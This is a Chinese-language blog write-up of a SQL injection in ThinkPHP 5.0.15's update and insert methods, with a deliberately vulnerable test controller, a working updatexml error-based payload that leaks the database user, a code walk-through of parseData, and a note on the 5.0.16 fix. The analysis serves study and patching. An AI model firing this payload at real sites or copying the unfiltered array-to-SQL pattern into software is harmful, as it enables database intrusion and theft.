thinkphp5.0.15 update、insert sql注入

漏洞测试代码:

    public function index()
    {
        $password=input('password/a');

        $data = db('users')->where("id",'1')->update(["password"=>$password]);
        dump($data);

    }

复现:

payload:

?password[0]=inc&password[1]=updatexml(1,concat(0x7,user(),0x7e),1)&password[2]=1

 

 

分析:

1、update函数分析

 1     public function update($data, $options)
 2     {
 3         $table = $this->parseTable($options['table'], $options);
 4         $data  = $this->parseData($data, $options);
 5         if (empty($data)) {
 6             return '';
 7         }
 8         foreach ($data as $key => $val) {
 9             $set[] = $key . '=' . $val;
10         }
11 
12         $sql = str_replace(
13             ['%TABLE%', '%SET%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'],
14             [
15                 $this->parseTable($options['table'], $options),
16                 implode(',', $set),
17                 $this->parseJoin($options['join'], $options),
18                 $this->parseWhere($options['where'], $options),
19                 $this->parseOrder($options['order'], $options),
20                 $this->parseLimit($options['limit']),
21                 $this->parseLock($options['lock']),
22                 $this->parseComment($options['comment']),
23             ], $this->updateSql);
24 
25         return $sql;
26    }

漏洞的问题在第4行的函数中,同时insert操作也存在同样的漏洞,这个sql注入是需要开启debug才能显示,同时在漏洞代码的编写中,是要以数组的形式传参,要不然默认为字符型,就会报错。

$data为我们传入的变量,$option中是一些初始化以及一些配置

 

2、parseData函数分析

 1    protected function parseData($data, $options)
 2     {
 3         if (empty($data)) {
 4             return [];
 5         }
 6 
 7         // 获取绑定信息
 8         $bind = $this->query->getFieldsBind($options['table']);
 9         if ('*' == $options['field']) {
10             $fields = array_keys($bind);
11         } else {
12             $fields = $options['field'];
13         }
14 
15         $result = [];
16         foreach ($data as $key => $val) {
17             $item = $this->parseKey($key, $options);
18             if (is_object($val) && method_exists($val, '__toString')) {
19                 // 对象数据写入
20                 $val = $val->__toString();
21             }
22             if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
23                 if ($options['strict']) {
24                     throw new Exception('fields not exists:[' . $key . ']');
25                 }
26             } elseif (is_null($val)) {
27                 $result[$item] = 'NULL';
28             } elseif (is_array($val) && !empty($val)) {
29                 switch ($val[0]) {
30                     case 'exp':
31                         $result[$item] = $val[1];
32                         break;
33                     case 'inc':
34                         $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
35                         break;
36                     case 'dec':
37                         $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
38                         break;
39                 }
40             } elseif (is_scalar($val)) {
41                 // 过滤非标量数据
42                 if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
43                     $result[$item] = $val;
44                 } else {
45                     $key = str_replace('.', '_', $key);
46                     $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
47                     $result[$item] = ':data__' . $key;
48                 }
49             }
50         }
51         return $result;
52     }

$val的值是我们传入的数组,在22行的if判断中进入了第29行,对$val[0]的值进行判断,把$val[1]的值直接拿出来没有进行过滤,最后对$result进行返回,这样我们就可以控制update函数中的$set变量,通过12-23行的sql语句替换,将我们的sql语句替换到sql语句模板中。

 

 

这里password[0]的值可以是inc和dec,exp会在input方法中添加一个空格,就无法进行匹配了

 

 

5.0.16更新:

 

 增加了一个判断,就是传入的数组[0]和[1]的值需要相同。

 

posted @ 2021-07-26 20:44  1jzz  阅读(361)  评论(0编辑  收藏  举报